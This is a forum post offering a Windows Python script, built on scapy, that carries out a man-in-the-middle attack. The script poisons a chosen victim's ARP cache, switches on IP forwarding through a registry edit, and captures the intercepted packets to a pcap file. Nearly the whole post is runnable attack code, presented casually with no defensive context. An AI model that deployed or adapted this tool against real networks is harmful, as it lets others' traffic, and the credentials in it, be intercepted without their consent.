Maboroshi in the Middle [beta]

Questions about programming languages and debugging
Post Reply
User avatar
maboroshi
Dr. Mab
Dr. Mab
Posts: 1624
Joined: 28 Aug 2005, 16:00
18

Maboroshi in the Middle [beta]

Post by maboroshi »

Maboroshi in the Middle

This app is intended to be a Man in the Middle application that works on Windows. Tested so far with win XP and hope to test it soon with Win 7, there are still bugs and this is provided as is.

This app uses scapy and is designed for windows

Have fun Cheers


Maboroshi


Thanks to Gogeta for testing this


Code: Select all

###### This code modified from a pastebin resource ####
###### http://pastebin.com/zuVJQmRn ###################
###### Most this app was written there ################
###### Maboroshi in the Middle - April 11th 2010 ######



import sys
from scapy.all import *
from _winreg import *
import _winreg


if len(sys.argv) < 8:
    print "Usage: python mabarp.py <iface> <yourIP> <victimIP> <filename.pcap> <packetcount> <filtertype> <filterport>\r\n"
    print "Your interfaces\r\n"
    show_interfaces()

        
def arpcachepoison(iface, target, victim):
    tmac = getmacbyip(target)
    p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target)
    sendp(p, iface=iface, count=10, inter = 0.2)


if len(sys.argv) == 8:
    mypcap = sys.argv[4]
    packetcount = int(sys.argv[5])
    filtertype = sys.argv[6]
    filterport = sys.argv[7]
    print "Now Poisoning ARP Cache\r"
    arpcachepoison(str(sys.argv[1]), sys.argv[2], sys.argv[3])
    
    mykey = _winreg.OpenKey(
        _winreg.HKEY_LOCAL_MACHINE,
        "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", 0, _winreg.KEY_SET_VALUE)
    print "Now turning on port forwarding\n"
    _winreg.SetValueEx(mykey, "IPEnableRouter", 0, REG_DWORD, 1)
    
    print "Now capturing %d packets \r" % (packetcount)
    filtered =("%s port %s" % (filtertype, filterport))
    mysniff = sniff(filter=filtered, count=packetcount, prn=lambda x: x.show()) 

    print "Now writing pcap file\r"
    wrpcap(mypcap, mysniff)
    print "Done writing pcap file saved to %s " % mypcap

    mykey2 = _winreg.OpenKey(
        _winreg.HKEY_LOCAL_MACHINE,
        "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters", 0, _winreg.KEY_SET_VALUE)
    print "Completed, turning off port forwarding\n"
    _winreg.SetValueEx(mykey2, "IPEnableRouter", 0, REG_DWORD, 0)

Post Reply